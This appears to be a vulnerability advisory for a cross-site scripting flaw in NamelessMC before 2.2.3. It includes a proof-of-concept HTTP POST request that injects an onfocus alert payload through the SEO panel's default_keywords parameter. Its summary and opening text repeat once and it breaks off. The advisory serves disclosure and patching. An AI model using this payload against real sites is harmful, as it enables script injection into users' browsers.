Summary
Cross-site scripting (XSS) vulnerability in NamelessMC before 2.2.3 allows remote authenticated attackers to inject arbitrary web script or HTML via the default_keywords crafted parameter.
Details
It is possible to inject an arbitrary code into default_keywords parameter which results in its execution.
PoC
In order to exploit the vulnerability:
- Send the following request (from the account with permission to SEO section):
POST /nameless/panel/core/seo/ HTTP/1.1
Host: [REDACTED]
Content-Length: 130
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://[REDACTED]
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: [REDACTED]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://[REDACTED]/nameless/panel/core/seo/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=[REDACTED]; nl2_adm=[REDACTED]; nl-profile-2=true
Connection: keep-alive
default_description=&default_keywords=test%22%20autofocus%20onfocus%3d%22alert(document.domain)&token=d2583e836255fe0477e9099318a6ca54&type=meta
Summary
Cross-site scripting (XSS) vulnerability in NamelessMC before 2.2.3 allows remote authenticated attackers to inject arbitrary web script or HTML via the default_keywords crafted parameter.
Details
It is possible to inject an arbitrary code into default_keywords parameter which results in its execution.
PoC
In order to exploit the vulnerability: